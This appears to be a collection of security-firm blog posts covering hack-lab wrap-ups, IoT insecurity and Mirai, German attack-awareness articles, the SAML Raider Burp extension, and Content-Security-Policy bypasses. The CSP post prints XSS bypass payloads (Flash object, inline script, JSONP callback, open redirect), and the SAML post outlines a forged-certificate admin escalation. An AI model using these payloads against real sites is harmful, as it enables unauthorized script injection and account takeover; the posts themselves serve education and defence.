Wrap-up: Hack-Lab 2017#2

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements. This hack-lab took place in our office in Bern.

 

Topics

The following topics, tools and technology has been discussed during this Hack-Lab:

  1. Threat Modeling and Security Concept session
  2. CMS Assessment
  3. JWT4B development
  4. GnuRadio door bell analysis
  5. Windows Share Enumeration Tool
  6. Exploit.courses testing and training

Wrap-Up

Topic #1 -Threat Modeling and Security Concept session

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his knowledge about threat modeling and security concept creation and analysis with colleagues.

Information Security fundamentals:

  • Security Foundations – CIA
  • Security Design Principles
  • Threat Modeling and Standards

Security Concepts:

  • Ownership and Data Classification
  • Architecture and Network Topology
  • Web Security Controls
  • Operational Security

Topic #2 – CMS Assessment

Using different available security and hardening scanners, we try to asses the security of three CMS: Drupal, Joomla, WordPress.

The goal is to find new vulnerabilities and possible test cases. We refresh and update our Compass Knowledge and improve our tool-set for CMS security assessments.

Technology:

  • Drupal
  • WordPress
  • Joomla
  • Web Scanners written in Python

Topic #3 – JWT4B development

We create a Burp plugin which helps the analyst testing apps which uses JSON Web Tokens (jwt.io).

The first step, which we performed in the previous hacklab, was to create a basic prototype, which enables Burp to visualize the tokens. During this hacklab we increased the functionality, implemented signature checking and interception functionalities.

Here a screenshot of the signature-checking functionality. The correct key was provided by the tester, which enables him to modify the JWT token comfortably:

Technology:

  • Java
  • JJWT (library)
  • JWT

Topic #4 – GnuRadio door bell analysis

We analyzed a wireless door bell with the help of GnuRadio and HackRF One. We captured the ASK modulated signal, and stored it as digital bitstream in a file. Afterwards we could successfully replay the stored bitstream, making the door bell ring. The next step will include to further analyze the bitstream. 

Technology:

  • GNU Radio
  • HackRF One SDR
  • Kali Linux

Topic #5 – Windows Share Enumeration tool development

If a pentest is performed in a large environment, it is possible that hundreds of accessible Windows shares are available in the network. The goal is to create a tool, which supports us during our penetration tests. Our tool should display the following information for every share in the network:

  • IP Address
  • Hostname
  • Share Name
  • 20 top level files and directories
  • ACLs for the top level files and directories

We managed to implement this tool by combining  Linux Samba tools (smbclient, smbcalcs) in an advanced shellscript.

Technology:

  • Windows, filesharing, network share
  • ACL, Permissions
  • masscan
  • samba / smbclient / smbcacls
  • Linux, Shell, Scripting

Topic #6 – Exploit.courses testing and training

Dobin Rutishauser teaches the “Exploiting & Defense” part of the Application- and Software-Security module at the Bern University of Applied Sciences (Berner Fachhochschule). For this assignment he created a website which provides writeups and challenges to be solved by the students. It also hosts dedicated per-user Linux container, accessible via JavaScript terminal. The Hack-Lab was used to check the website for usability problems, resistance against local DoS attacks, security problems and also basic functionality checks. We also performed a review of some of the writeups, where the team members solved several of the challenges. This includes the ARM buffer overflow challenge, and an extended version of the shellcode development challenge.

The team could identify several small bugs, some small mistakes in the writeups, and gave valuable usability improvement feedback.

Technology:

  • qemu, LXC / LXD
  • x86, x64 and ARM
  • gdb, readelf and python
  • AngularJS and go

Wrap-up: Hack-Lab 2017#1

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements.

   

Topics

The following topics, tools and technology has been discussed during this Hack-Lab:

  1. SharePoint Security
  2. Bypassing Android 7.0 HTTPS Apps Certificates Restriction
  3. JWT4B
  4. CodeInspect
  5. Smart Meter
  6. DNS Tunnel Debugging

Wrap-Up

Topic #1 – SharePoint Security Lab and Knowledge Sharing

SharePoint is a very popular browser-based collaboration and content management platform. Due to its high complexity, proprietary technology and confusing terminology it is often perceived as a black-box that IT and security professionals do not feel very comfortable with.

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his research work with colleagues. They challenged his findings and shared their thoughts on pros & cons of security relevant settings. The outcome of this Hack-Lab session will be shared in a series of blog posts within the next couple of weeks.

The research in our very own hands-on SharePoint lab allows us to gain an in-depth understanding of any type of SharePoint environment, be it a purely internal collaboration web application, a platform to share information with external partners or a publishing site hosting the company website. To build or assess a secure SharePoint environment one needs to understand the importance of governance, logical and physical architecture, network topology, active directory considerations, authentication and authorization, segregation of classified data, hardening and most importantly web security relevant settings to make sure the built-in protection measures are effective. Like other modern Microsoft products, an out-of-the-box SharePoint installation can be considered secure. However, there are so many weirdly named settings which heavily depend on each other that misconfiguration is likely to happen, leaving the door wide open for unauthorized access by adversaries with SharePoint skills.

TECHNOLOGY:

  • SharePoint Server 2010 & 2013
  • Web Applications, Site Collections, (Sub-)Sites, (Custom) Lists, Document Libraries, Web Part Pages, Web Parts, Apps
  • Web Security, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF)
  • Navigation Links
  • Web Sensitive Files, permission to Add & Customize Pages and Scriptable Web Parts, e.g. Content Editor and Script Editor (“SafeAgainstScript=False”)
  • Browser File Handling
  • Web Page Security Validation (aka Anti-CSRF token)
  • Lockdown Mode Feature
  • Remote Interfaces SOAP, CSOM, WCF Service, REST Interface
  • Server-Side Controls
  • .NET Sandboxing, Sandboxed Solutions and Apps
  • Self-Service Site Creation
  • Developer Dashboard
  • Audit Logs
  • People Picker

Topic #2 – Bypassing Android 7.0 HTTPS Apps Certificates Restriction

With Android 7.0, apps do not trust user imported certificates anymore.  Intercepting app network traffic with a proxy has become more complicated.

The goal is to find or create a custom application which is explicitly developed for Android 7.0. Then to configure the app with the network_security_config.xml file, which is used to bypass this restriction,  and therefore enables user defined certificates.

Technology:

  • Android Studio
  • Android 7.0
  • Apktool

Topic #3 – JWT4B

Create a Burp plugin which helps the analyst when testing an app that uses JSON Web Tokens (JWT.IO).

Frist step is to create a prototype which enables Burp to visualize the tokens. On further hacklabs it should be possible to automatically perform JWT attacks.

Technology:

  • Java
  • JJWT (library)
  • JWT

Topic #4 – CodeInspect

Evaluation of CodeInspect’s features.

Determine if CodeInspect could be used to make future  Android app analysis assessments more efficient.

Technology:

  • Java
  • Android

Topic #5 – Smart Meter

Description:

An Energy Monitoring System was provided for testing. It is used to measure the current consumption and provides various interfaces. Web browser (TCP/IP) and Modbus are the main ones.

Assess the security of the interfaces. What can an attacker exploit if given network access to the device?

Technology:

  • TCP/IP
  • Modbus
  • HTTP Web Application

Topic #6 – DNS Tunnel Debugging

Compass Security has its own trojan toolkit which we use for responsible phishing attacks in mandate for our customers, and also demos and proof of concepts. The trojan also implements DNS tunneling.

Analyze the source code and perform debugging to identify and fix some reliability issues while performing DNS tunneling with multiple clients.

Technology:

  • C++

IoT (in)security

Quote

IoT devices in the news have been proliferating at an ever-increasing rate. Both hardware manufacturers and news agencies are trying to capture the attention of the general public with the next killer device and/or application combinations.

More recent IoT news items included analysis on the Mirai botnet [0] and its effect on the internet as a whole, and a more jokingly unintended consequence of IoT device implementations, the news about “Alexa, buy me a dollhouse” broadcast on national television in the US, triggering various orders for all the station’s Alexa-device owning viewers (with follow up stories about the original triggering even more orders).

Mirai

The Mirai malware (“command and control centre was written in Go (1197 lines of code) and its botnet agent was programmed in C (5732 lines of code)” [1]) effectively uses default usernames and passwords, of 60 common factory defaults, to log into and infect devices to further spread itself. Leaving users unaware as to the infection, the devices keep functioning normally, except for the increased use in bandwidth. Although a simple fix is possible, device owners can simply reset the devices as the malware is not persistent in its initial implementation, devices were however typically reinfected within minutes of the reset. The malware, that seemingly does not play well with others of its kind, uses a technique called memory scraping to clear other possible botnet processes (read: competitors) from memory, and also included a “don’t mess with” list, showing the developer(s)’ “concerns for drawing attention to their activities”. [1]

Akamai’s post-mortem [3] on the DDoS event mentions traffic of up to 620 Gbps or “nearly double that of the previous peak attack” on their platform, for the blog of the security Blog Krebs on Security. Akamai aims to provide DDoS protection. The end effect of this particular event lead to the creation of Google’s project Shield to aid journalists from DDoS attacks, as Akamai bowed out on its pro bono support of the victimized security journalist Brian Krebs [2].

According to Flashpoint researchers [4] at least one attack was initiated from the Mirai Command and Control server although they do not consider the attackers to be either politically motivated or a nation state actor. What is however interesting is the leveraging of a malware platform for modification and future configuration of the botnet, in order to ensure longer term persistence amidst possible mitigations effected by security professionals. Claiming ownership and making the initial source-code available for review purposes, Anna-senpai (user on hackerforums [5]) posted a write up on the functioning of the system as well as sources.

The question then becomes, how something as basic as default username and password combinations can affect basic infrastructure with such a massive amount of traffic leading to service interruption, and more importantly, how could one go ahead in preventing this in future?

Standardization and governing body pressure

In the US, the Federal Trade Commission launched both a $25k prize competition [6], that “challenges the public to create a solution (“tool”) that consumers can use to guard against security vulnerabilities in software found on the Internet of Things (IoT) devices in their homes”, and a complaint against Taiwanese manufacturer D-Link [7] for putting customers at risk with their internet routers and web cameras.

In Europe focus is also shifting towards enforced security standards and best practices for IoT vendors, by the European Commission. “That’s really a problem in the internet of things. It’s not enough to just look at one component. You need to look at the network, the cloud. You need a governance framework to get certification,” Thibault Kleiner – deputy head of cabinet (4 October 2016) [7]

Secure development and the OWASP angle

OWASP’s IoT attack surface areas document is still in draft form and covers the following areas of concern: ecosystem access control, device memory, device physical interfaces, device web interface, device firmware, device network services, admin interfaces, local data storage, third-party APIs, mobile application, vendor backed APIs, ecosystem communication and network communication.

The OWASP list shows clearly the plethora of considerations both security operations personnel have to consider when introducing IoT devices into their information technology ecosystem, and IoT hardware and software developers / integrators when planning and designing these devices.

Compass IoT challenge for European Cyberstorm

Here at Compass we wanted something to physically put in the hands of conference attendees at the European Cyberstorm of 2016. The low-cost ESP8266 WiFi chip, with full TCP/IP stack and micro controller unit looked interesting (for those hardware interested amongst you, look out for the follow up ESP32 chip) and Reto Schädler (see his more comprehensive post here) designed a bIOTech (pun intended) device with the chip that could monitor the moisture levels of potted plants and communicate this back to the plant owner with an email update, below given trigger levels of moisture.

Some intentionally built-in vulnerabilities allows for further fun (we didn’t want those receiving the device to just pot it and run) and a related Cyberstorm jeopardy (non attack/defense related) hardware challenge that required teams to hack the device was also created. The intentional vulnerability is that the firmware does not verify the integrity of certificates and can therefore also be used to demonstrate how a faulty security implementation leads to the possibility of man-in-the-middle attacks, to potential customers.

For the European Cyberstorm Challenge (ECSC) of 2016, this bIOTech device was supplied to the respective teams one day in advance with the standard firmware (Cyberstorm device setup), in order to get the team familiar with the modes of operation of the device (configuration mode – for AP setup, programming mode – for UART software loading, and operational mode – standard measurement and communication mode). On the day of the challenge, the same hardware was supplied to teams but with different firmware (CTF device setup). The EEPROM contained the new (non-standard) configuration data including access point, password, device identifier and unique identifier. Teams were required to first write their own software to dump the EEPROM information, then load their custom software to the devices in programming mode and finally read out the memory in order to be able to complete the challenge by reading out the memory, access point password and unique device ID.

Reto Schädler shared the caveats whilst designing conceptualization and mentioned that encryption is costly on this particular device, and therefore leeches battery power fast. The follow up chip (ESP32) has more features that include amongst others Bluetooth support and also hardware-accelerated support for AES, SHA2, EC and RSA-4096.

So what do you need to consider, to go from

Schema Compass bIOTech v1.0

design

to

Versuchsaufbau Compass bIOTech v1.0

prototyping

to source code to

dsc_0030

ready device

?

What to consider when designing IoT devices

First offered in 2016 the 2-day Compass Security developed IoT course already had several successful iterations with updated content related to hardware and software IoT protocols and technologies:

layout-v0-03

Those motivated to develop secure devices from conception to deployment can expect hands-on know-how training with lab exercises, run through challenges in the Hacking Lab infrastructure. Participants will also be given extended access to the challenges in order to hone their skills after the on-site training is completed.

Target audience: IoT hardware and software developers, security personnel responsible for IoT deployment and integration, IoT interested people.

The course will be held on the 14 and 15th of February in Bern, 9 and 10th of May in Berlin, and 29 and 30th of August in Zürich. For more information check the Compass IoT course page, or the Compass course calendar.

References

[0] https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html
[1] http://icitech.org/wp-content/uploads/2016/12/ICIT-Brief-Rise-of-the-Machines.pdf
[2] http://fortune.com/2016/09/27/google-krebs-project-shield-hack/
[3] https://blogs.akamai.com/2016/10/620-gbps-attack-post-mortem.html
[4] https://www.flashpoint-intel.com/action-analysis-mirai-botnet-attacks-dyn/
[5] https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md
[6] https://www.ftc.gov/iot-home-inspector-challenge
[7] https://www.euractiv.com/section/innovation-industry/news/commission-plans-cybersecurity-rules-for-internet-connected-machines/

Blackout: Wenn Hacker den Strom abschalten

Dieser Blog Post dient als Hintergrundartikel zum SRF Thementag «Blackout»: Wenn die Schweiz plötzlich keinen Strom mehr hätte vom Montag, 2. Januar 2017, 13.00 bis 22.00 Uhr (SRF News, SRF Kultur Wissen Beitrag)

blackout

Wie ist die Vorgehensweisen von Hackern, die unerlaubten Zugriff auf fremde Systeme erlangen wollen? — beispielsweise im Netzwerk eines Energieversorgungsunternehmens. Basierend auf diesen Muster hat die Compass Security im Rahmen des SRF-1 Blackout Tag gearbeitet. Der Artikel soll Sie sowohl für die Angriffsseite sensibilisieren, als auch wertvolle Tipps zur Abwehr geben.

Wer ist Compass Security

Compass Security ist eine Schweizer Unternehmung aus Rapperswil-Jona und Niederlassungen in Bern und Berlin die versuchen im Auftrag des Kunden die Sicherheit von IT Systemen zu testen. Man nennt diese Tätigkeit auch Penetration Testing oder Ethical Hacking. Im Grunde geht es darum Sicherheitslücken zu finden, bevor diese durch echte Hacker ausgenutzt werden. Wer sich regelmässig testen lässt, der wird massgeblich besser in der Cyber Abwehr.

Vorgehen bei einem Hacker Angriff

Direkte Angriffe

Direkte Angriffe richten sich unmittelbar gegen die IT-Infrastruktur eines Unternehmens. Typischerweise sucht ein Angreifer dabei nach Schwachstellen auf einem Perimeter System, dass ins Internet exponiert ist.
Direkte Angriffe

  1. Ein Angreifer versucht unerlaubten Zugriff auf interne Systeme zu erlangen.
  2. Der Angreifer, beispielsweise vom Internet her, sucht nach offenen Diensten die er möglicherweise für das Eindringen ausnutzen kann.
  3. Ein ungenügend geschützter Dienst erlaubt dem Angreifer Zugriff auf interne Systeme.

Indirekte Angriffe

Im Gegensatz zu direkten Angriffen, nutzen indirekte Angriffe nicht unmittelbar eine Schwachstelle auf einem ins Internet exponierten System aus. Vielmehr versuchen indirekte Angriffe die Perimeter Sicherheit eines Unternehmens zu umgehen.

Variante 1: Man-in-the-Middle / Phishing Angriffe

Indirekte Angriffe

  1. Ein Angreifer schaltet sich in den Kommunikationsweg zweier Parteien. Dies erlaubt ihm das Mitlesen sensitiver Informationen.
  2. Der Angreifer nutzt die erlangten Informationen um unbemerkt auf interne Systeme zuzugreifen.

Variante 2: Malware / Mobile Devices / W-LAN
Indirekte Angriffe

  1. Ein Angreifer infiziert ein Gerät mit Schadsoftware.
  2. Durch die Schadsoftware erlangt der Angreifer Kontrolle über das infizierte Gerät, welches Zugriff auf andere interne Systeme hat.
  3. Zusätzlich kann ein Angreifer über andere Zugriffspunkte ins interne Netzwerk gelangen, beispielsweise über unsichere Wireless-LAN Access Points.

Variante 3: Covert Channel (Inside-Out Attacke)
Indirekte Angriffe

  1. Ein Angreifer präpariert ein Medium wie USB-Sticks oder CD-ROMs mit Schadsoftware.
  2. Der Angreifer bringt sein Opfer dazu das Medium zu verwenden.
  3. Die Schadsoftware wird automatisiert ausgeführt und verbindet sich unbemerkt zurück zum Angreifer. Der Angreifer erhält die Kontrolle über das infizierte Gerät.

Sechs Tipps zur Abwehr

  1. Regelmässige Aktualisierung von Betriebssystem, Browser und Anwendungssoftware
  2. Schutz durch Verwendung von Firewall und Anti-Viren Software
  3. Verwendung von starken Passwörtern, sowie deren regelmässige Änderung
  4. Löschen von E-Mails mit unbekanntem Absender, Sorgfalt beim Öffnen angehängter Dateien
  5. Vorsicht bei der Verwendung von unbekannten Medien wie USB-Sticks oder CD-ROMs
  6. Regelmässige Erstellung von Backups

Wie kann Compass Security Ihre Firma unterstützen?

  • Penetration Tests: Simulation von Angriffen mit oder ohne Insider-Wissen
  • Security Reviews: Überprüfung und Analyse von Systemen und Konfigurationen
  • Incident Response: Unterstützung während und nach Angriffen
  • Security Trainings: Ausbildung und Sensibilisierung

Gerne prüfen wir, ob die Zugriffe auf Ihre wichtigsten Systeme sicher sind!

Referenzen

Unter folgenden Referenzen finden Sie Tipps und Anregungen zu häufig gestellten Fragen.

SAMLRequest Support for SAML Raider

About a year ago, the Burp extension SAML Raider [0] was released as a result of a bachelor thesis [1] in collaboration with Compass Security. This Burp extension automates most of the steps, which are necessary to test a SAML single sign-on process and perform according attacks. With SAML Raider, an authentication bypass vulnerability in a Service Provider was found [2]. More information is available in our first blog post about SAML Raider here: SAML Burp Extension [5].

We did some bugfixing and added new features to SAML Raider in the past year. In version 1.2.0, we introduced the new ability to intercept and edit SAMLRequest Messages. The current version is 1.2.1, which is available here [3] on GitHub. It will also be in the official Burp Suite BApp store [4] shortly.

Decode SAMLRequest Message

There are several Burp Extensions [6] like SAML ReQuest [7], SAML Editor or SAML Encoder which allows you to edit SAMLRequests. We also got asked [8] if this feature is supported in SAML Raider, which was not the case. Because this would be a nice feature, we implemented it in version 1.2.0.

What is a SAMLRequest?

A SAMLRequest is the SAML message, which is sent from the user (browser) to the Identity Provider, to “ask” for an assertion. Usually, the SAMLRequest is sent to the Identity Provider, which will respond with a login form to ask for the credentials. If the login was successful, the SAMLResponse is sent back to the client, which is then forwarded to the Service Provider.

A SAMLRequest is sent via POST to the Identity Provider and looks like this:

samlrequest

So, it’s quite clear, that this is not so practical for quick editing and testing.

SAMLRequest in SAML Raider

SAML Raider is now able to properly decode a SAMLRequest and display it in the SAML Raider tab:

samlrequest_samlraider

Now it is very easy to modify the SAMLRequest. The SAMLRequest is automatically encoded back in it’s original format and forwarded to the target, if the Forward button is clicked.

But why do you need to view/edit the SAMLRequest? With this new feature, you can read what the client is sending exactly to the Identity Provider and perform fuzzing or testing the Identity Provider itself.

So, if you have any questions, issues or features requests, don’t hesitate to contact us or open an Issue on GitHub [0].

References

Content-Security-Policy: misconfigurations and bypasses

Introduction

The Content Security Policy (CSP) is a security mechanism web applications can use to reduce the risk of attacks based on XSS, code injection or clickjacking. Using different directives it is possible to lock down web applications by implementing a whitelist of trusted sources from which web resources like JavaScript may be loaded. Currently the CSP version 2 is supported by Firefox, Google Chrome, and Opera, whereas other browsers provide limited support or no support at all (Internet Explorer)[4].

The CSP has two modes of operation [7]: enforcing and report-only. The first one can be used to block and report attacks whereas the second one is used only to report abuses to a specific reporting server. In this blog post, we will focus only on the enforcing mode.

The policy, in order to work, has to be included in each HTTP response as a header (“Content-Security-Policy:”). The browser will then parse the CSP and check if every object loaded in the page adheres to the given policy. To specify these rules, the CSP provides different directives [5]:

  • script-src: defines valid sources of JavaScript
  • object-src: defines valid sources of plugins, like <objects>
  • img-src: defines valid sources of images
  • style-src: defines valid source of stylesheets
  • report-uri: the browser will POST a report to this URI in case of policy violation

Each of these directives must have a value assigned, which is usually a list of websites allowed to load resources from. The default behavior of directives if omitted, is to allow everything (“*”) without restrictions [9]. A basic example of a valid CSP is shown below:

Content-Security-Policy: default-src 'self'; script-src compass-security.com

The directive “default-src” is set to ‘self’, which means same origin. All resources without a directive set are allowed to be loaded only from the same origin, in this case “blog.compass-security.com”. Setting the “default-src” directive can be a good start to deploy your CSP as it provides a basic level of protection. “script-src” is used to allow all JavaScripts to be loaded from the domain “compass-security.com”, via HTTP (https:// should be explicitly specified) without allowing subdomains. These could be specified directly (e.g. sub.compass-security.com) or using the “*” wildcard (*.compass-security.com)

Misconfigurations and Bypasses

Even though it is possible to have a good level of control over the policy, errors in the definition of directives may lead to unexpected consequences. Misconfiguration or ambiguities can render the policy less efficient or easy to bypass. In addition, the functionality of the application could also be broken. The following example illustrates what can happen if “default-src” is omitted:

Content-Security-Policy: script-src compass-security.com

Now, all the scripts with source “compass-security.com” are allowed. But what about the other objects like stylesheets or flash applets? The policy above can be bypassed for example using this payload, which triggers an alert box using a Flash object[7]:

">'><object type="application/x-shockwave-flash" 
data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/
assets/charts.swf?allowedDomain=\"})))}catch(e{alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

One other common mistake is the inclusion of the dangerous “unsafe-inline” or “unsafe-eval” directives. These allow the execution of potentially malicious JavaScript directly via “<script>” tags or eval():

Content-Security-Policy: default-src 'self'; script-src compass-security.com 'unsafe-inline';

This policy defines the default source as “self” and allows the execution of script from “compass-security.com” but, at the same time, it allows the execution of inline scripts. This means that the policy can be bypassed with the following payload [7]:

">'><script>alert(1337)</script>

The browser will then parse the JavaScript and execute the injected malicious content.

Besides these trivial misconfigurations shown above, there are some other tricks used to bypass CSP that are less common and known. These make use, for example, of JSONP (JSON with padding) or open redirects. Let’s take a look at JSONP bypasses.

If the CSP defines a whitelisted JSONP endpoint, it is possible to take advantage of the callback parameter to bypass the CSP. Assuming that the policy is defined as follows:

Content-Security-Policy: script-src 'self' https://compass-security.com;

The domain compass-security.com hosts a JSONP endpoint, which can be called with the following URL:

https://compass-security.com/jsonp?callback={functionName}

Now, what happens if the {functionName} parameter contains a valid JavaScript code which could be potentially executed? The following payload represents a valid bypass [7]:

">'><script src="https://compass-security.com/jsonp?callback=alert(1);u">

The JSONP endpoint will then parse the callback parameter, generating the following response:

Alert(1); u({……})

The JavaScript before the semicolon, alert(1), will be executed by the client when processing the response received.

URLs with open redirects could also pose problems if whitelisted in the CSP. Imagine if the policy is set to be very restrictive, allowing only one specific file and domain in its “script-src” directive:

Content-Security-Policy: default-src: 'self'; script-src https://compass-security.com/myfile.js https://redirect.compass-security.com

At first sight, this policy seems to be very restrictive: only the myfile.js can be loaded along with all the scripts originating from “redirect.compass-security.com” which is a site we trust. However, redirect.compass-security.com performs open redirects through a parameter in the URL. This could be a possible option to bypass the policy [7]:

">'><script src="https://redirect.compass-security.com/redirect?url=https%3A//evilwebsite.com/jsonp%2Fcallback%3Dalert">

Why is it possible to bypass the CSP using this payload? The CSP does not check the landing page after a redirect occurs and, as the source of the script tag “https://redirect.compass-security.com” is whitelisted, no policy violation will be triggered.

These are only a small subset of possible CSP bypasses. If you are interested, many of them can be found at [6] or [7].

The “nonce” directive

Besides the whitelist mechanism using URLs, in the CSP2 there are other techniques that can be used to block code injection attacks. One of these is represented for example by “nonces”.

Nonces are randomly generated numbers that should be defined in the CSP and included only inside <script> or <style> tags to identify resources and provide a mapping between the policy and the client’s browser. An attacker injecting a payload containing a script tag has no knowledge of the nonce previously exchanged between the client and the server, resulting in the CSP detecting this and throwing a policy violation. A possible configuration of a CSP with nonces could be:

Content-Security-Policy: script-src 'nonce-eED8tYJI79FHlBgg12'

The value of the nonce (which should be random, unpredictable, generated with every response, and at least 128 bits long [10]) is “eED8tYJI79FHlBgg12”.

This value should be then passed to each script tag included in our application’s pages:

<script src="http://source/script.js" nonce="eED8tYJI79FHlBgg12">

The browser will then parse the CSP, check if the scripts included have a matching value and block those that do not include any valid nonce. This technique works great against stored XSS, as the attacker cannot include valid nonces at injection time. Another advantage is that there is no need to maintain whitelists of allowed URLs, as the nonce acts as an access token for the <script> tag and not necessarily for the source of the script. It is also possible to use hashes in order to identify the content of each <script> element inside the page, more information about this feature can be found at [8].

Conclusion

We have seen that the CSP is a very useful tool web developers can use to have better control on the loaded resources. The different directives provide flexibility to allow or deny potentially dangerous web resources inside web pages. However, it is also easy to make errors if too many URLs are whitelisted (e.g. hidden JSONP endpoints). Here at Compass we encourage the use of the CSP as an additional barrier against web threats. Nonetheless, I would like to stress that the first protection against code injection should always be provided by a solid input/output validation, which can help also against other common attacks like SQL injections.

If you would like to get more information about how web applications should be protected, or you want to deepen your web security knowledge we provide different trainings:

We are also offering trainings in other areas of IT Security. You can check the different topics here:

Sources & References

  1. https://www.owasp.org/index.php/Content_Security_Policy
  2. https://www.w3.org/TR/CSP2/#intro
  3. https://w3c.github.io/webappsec-csp/#match-element-to-source-list
  4. http://caniuse.com/#search=Content%20Security%20Policy%20Level%202
  5. http://content-security-policy.com/
  6. https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it’s-CSP!%22.
  7. http://conference.hitb.org/hitbsecconf2016ams/materials/D1T2%20-%20Michele%20Spagnuolo%20and%20Lukas%20Weichselbaum%20-%20CSP%20Oddities.pdf
  8. https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/
  9. http://www.html5rocks.com/en/tutorials/security/content-security-policy/
  10. https://www.w3.org/TR/CSP/#source_list

Wie stiehlt man KMU-Geheimnisse?

Ein Hintegrundartikel zur SRF Einstein Sendung vom Donnerstag, 3. September 2015 um 21:00 Uhr zum Thema “Cybercrime, wie sicher ist das Know-how der Schweiz”. (Trailer online)

In diesem Artikel zeigen wir Ihnen die Vorgehensweisen von Angreifern auf, die versuchen unerlaubten Zugriff auf fremde Systeme zu erlangen — beispielsweise im Netzwerk eines KMUs. Schematisch sind diese Vorgehensweisen auch im Rahmen der von SRF Einstein dokumentierten Angriffe gegen die SO Appenzeller durchgeführt worden. Der Artikel soll Sie nicht nur für die Angriffsseite sensibilisieren, sondern hält auch sechs einfache Tipps zur Abwehr bereit.

 

Direkte Angriffe

Direkte Angriffe richten sich unmittelbar gegen die IT-Infrastruktur eines Unternehmens. Typischerweise sucht ein Angreifer dabei nach Schwachstellen auf einem Perimeter System, dass ins Internet exponiert ist.
Direkte Angriffe

  1. Ein Angreifer versucht unerlaubten Zugriff auf interne Systeme zu erlangen.
  2. Der Angreifer, beispielsweise vom Internet her, sucht nach offenen Diensten die er möglicherweise für das Eindringen ausnutzen kann.
  3. Ein ungenügend geschützter Dienst erlaubt dem Angreifer Zugriff auf interne Systeme.

Indirekte Angriffe

Im Gegensatz zu direkten Angriffen, nutzen indirekte Angriffe nicht unmittelbar eine Schwachstelle auf einem ins Internet exponierten System aus. Vielmehr versuchen indirekte Angriffe die Perimeter Sicherheit eines Unternehmens zu umgehen.

Man-in-the-Middle / Phishing Angriffe

Indirekte Angriffe

  1. Ein Angreifer schaltet sich in den Kommunikationsweg zweier Parteien. Dies erlaubt ihm das Mitlesen sensitiver Informationen.
  2. Der Angreifer nutzt die erlangten Informationen um unbemerkt auf interne Systeme zuzugreifen.

Malware / Mobile Devices / W-LAN
Indirekte Angriffe

  1. Ein Angreifer infiziert ein Gerät mit Schadsoftware.
  2. Durch die Schadsoftware erlangt der Angreifer Kontrolle über das infizierte Gerät, welches Zugriff auf andere interne Systeme hat.
  3. Zusätzlich kann ein Angreifer über andere Zugriffspunkte ins interne Netzwerk gelangen, beispielsweise über unsichere Wireless-LAN Access Points.

Covert Channel
Indirekte Angriffe

  1. Ein Angreifer präpariert ein Medium wie USB-Sticks oder CD-ROMs mit Schadsoftware.
  2. Der Angreifer bringt sein Opfer dazu das Medium zu verwenden.
  3. Die Schadsoftware wird automatisiert ausgeführt und verbindet sich unbemerkt zurück zum Angreifer. Der Angreifer erhält die Kontrolle über das infizierte Gerät.

Sechs Tipps zur Abwehr

  1. Regelmässige Aktualisierung von Betriebssystem, Browser und Anwendungssoftware
  2. Schutz durch Verwendung von Firewall und Anti-Viren Software
  3. Verwendung von starken Passwörtern, sowie deren regelmässige Änderung
  4. Löschen von E-Mails mit unbekanntem Absender, Sorgfalt beim Öffnen angehängter Dateien
  5. Vorsicht bei der Verwendung von unbekannten Medien wie USB-Sticks oder CD-ROMs
  6. Regelmässige Erstellung von Backups

Wie kann Compass Security Ihre Firma unterstützen?

Gerne prüfen wir, ob auch Ihre Geheimnisse sicher sind!SRF Einstein, Compass, Appenzeller

Referenzen

Unter folgenden Referenzen finden Sie Tipps und Anregungen zu häufig gestellten Fragen.

SAML Burp Extension

SAML [3] is a standard, which is widely used to deploy Single Sign-On and federation identity solutions. SAML is based on the XML technology, using XML Signatures and X.509 certificates.

Manual testing for SAML vulnerabilities is time consuming and error prone. For example, because a SAML message is only valid for a predefined period of time, the penetration tester potentially needs to be able to manipulate SAML messages within a short time. This is a factor which increases the chance of errors.

Therefore students of the University of Applied Sciences Rapperswil, Switzerland [6] developed an extension [2] for the Burp Suite [1] in collaboration with Compass Security. This extension automates most of the steps, which are necessary to test a SAML environment.
The extension, called “SAML Raider”, supports the penetration tester with the following tasks:

  • “Clone” a certificate, i.e. all fields are copied but a random new key-pair is generated.
  • Edit certificates and sign them with the arbitrary generated key-pair or with valid keys
  • Encode and decode SAML messages
  • Display SAML messages with syntax highlighting
  • Edit SAML messages manually
  • (Re-)sign SAML messages and assertions
  • Remove signatures
  • Perform XML Signature Wrapping (XSW) attacks

The extension intercepts the POST message with the SAML Assertion, which is received from the Identity Provider (IdP) and is sent from the browser to the Service Provider (SP). The point of manipulation is illustrated in the following flow graph with the red field “Manipulate”.

Point of manipulation in the data-flow.

Point of manipulation in the data-flow.

The following example case illustrates a possible attack, which could be executed with “SAML Raider”. At Hacking-Lab [7] subscribers and license holders can test this vulnerability riskless in a secured environment.

  1. An attacker can log in as an ordinary user to an Identity Provider and intercepts the SAML assertion before it is sent to the Service Provider.
    saml_burp_extension_6
  2. The attacker now extracts the embedded x509 certificate and clones it.
    saml_burp_extension_4
    saml_burp_extension_5
  3. The attacker changes the user group which is included in the SAML Assertion to administrators.
  4. The attacker signs the assertion with the cloned certificate and embeds the cloned certificate in the assertion.
    saml_burp_extension_2
  5. The attacker sends the manipulated SAML message to the Service Provider.
  6. The Service Provider wrongly acknowledges the embedded cloned certificate as valid and validates the signature with the wrong certificate.
  7. The attacker is now logged in as an administrator.

SAML Raider supports the penetration tester in testing SAML Environments with Burp.

There is another Burp extension [4] of the Ruhr University Bochum, which displays Single Sign-On messages and allows to manually edit SAML messages.
At Black Hat 2015 a tool called “samlyze” is announced. Its goal is to pentest SAML service providers fast and easy [5]. We are looking forward and really hope samlyze supplements this extension with one or the other feature.

References:

[1] http://portswigger.net/
